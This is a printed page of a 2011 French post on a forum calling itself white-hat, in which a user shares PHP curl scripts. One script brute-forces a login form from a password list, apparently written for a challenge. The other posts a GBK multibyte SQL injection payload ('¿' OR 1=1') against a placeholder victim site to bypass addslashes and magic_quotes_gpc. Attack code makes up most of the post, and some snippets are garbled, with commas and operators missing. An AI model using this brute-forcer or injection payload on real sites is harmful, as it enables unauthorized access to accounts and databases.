N-PN White-Hat Project
[Php] bruteforce de login et bypass de addslashes et magic_quotes_gpc - Version imprimable

+- N-PN White-Hat Project (https://dev.n-pn.fr/forum)
+-- Forum : Programmation (https://dev.n-pn.fr/forum/forumdisplay.php?fid=72)
+--- Forum : Langages interprétés (https://dev.n-pn.fr/forum/forumdisplay.php?fid=27)
+--- Sujet : [Php] bruteforce de login et bypass de addslashes et magic_quotes_gpc (/showthread.php?tid=1715)



[Php] bruteforce de login et bypass de addslashes et magic_quotes_gpc - CyberSee - 17-11-2011

Bonjour à tous ;-)
J'aimerais vous partager un petit script que j'ai créé pour réussir un challenge de programmation. Le défi consistait à attaquer un formulaire de login avec une librairie de mot de passe. J'ai donc créé un code qui utilise les fonctions curl de PHP pour envoyer mes essais.

Étape un, créé une variable qui contient tous les mots de passe
Code PHP :
$passe "test1-*-test2-*-test3"

J'aurais pu les entrer aussi dans un array mais ça dépend comment la librairie ce présente a vous. L’important c'est d'être capable de facilement looper chaque mot de passe de la liste.

Une fois la liste entrer en variable, j'ai utilisé la fonction explode pour la transformer en array
Code PHP :
$password explode ('-*-'$passe); 

Le séparateur que j'ai utilisé dans ce cas est -*-. La raison c'est que cette chaine de 3 caractères n'était pas utilisée dans aucun des mots de passe de la librairie donner avec le challenge. Pour les librairies plus gros, je vous conseille d'utiliser un meilleur système pour vous assurer que chaque mot de passe est bien entré dans l'array.

Étape deux, on loop les mots de passe avec foreach
Code PHP :
$url 'http://[...]/login.php';

foreach (
$password as $value){
 
ob_start();
 
$ch curl_init($url);
 
curl_setopt ($chCURLOPT_POST1);
 
curl_setopt ($chCURLOPT_POSTFIELDS"password=$value");
 
curl_exec ($ch);
 
curl_close ($ch);
 
$p ob_get_clean();
 if (!
strstr($p"w00t") ) {echo "Le mot de passe est: $value<hr>$p<hr>"; }


Dépendamment du nombre de mots de passe que vous voulez essayer, il se peut que votre script soit arrêté par le serveur ... Si c'est le cas, vous pouvez ajouter un ini_set qui augmentera le temps d'exécution autorisé
Code PHP :
ini_set(max_execution_time$temps_en_seconde); 

Bien que le PHP ne soit pas recommander pour brute forcer ce genre de formulaire, ça reste tout de même une option possible bien que peux pratique. Par contre, il est a noter que curl peux également être utiliser dans une panoplie de faille par exemple, le bypasse de addslashes et magic_quotes_gpc dans le cas d'une tentative d'injection SQL.

Code PHP :
$url     "http://www.victime.com/login.php";
$ref     "http://www.victime.com/index.php";
$session "PHPSESSID=abcdef01234567890abcdef01";
 
$ch      curl_init();
 
curl_setopt$chCURLOPT_URL,            $url     );
curl_setopt$chCURLOPT_REFERER,        $ref     );
curl_setopt$chCURLOPT_RETURNTRANSFERTRUE     );
curl_setopt$chCURLOPT_COOKIE,         $session );
curl_setopt$chCURLOPT_POST,           TRUE     );
curl_setopt$chCURLOPT_POSTFIELDS,     "username=" chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" );
 
$data curl_exec$ch );
 
print( 
$data );
curl_close$ch ); 

Les fonctions chr(0xbf) et chr(0x27) sont égales à ¿' ce qui permet de créé une injection SQL quand la librairie de caractère GBK est activée.

J'espère que ce tutoriel vous a ouvert les yeux sur les possibilités d'exploitation grâce a curl. Si vous désirez en savoir plus sur cette fonction, cliquez sur le lien suivant:
http://ca3.php.net/manual/fr/book.curl.php

Soyez intelligent et restez WhiteHat!
Par CyberSee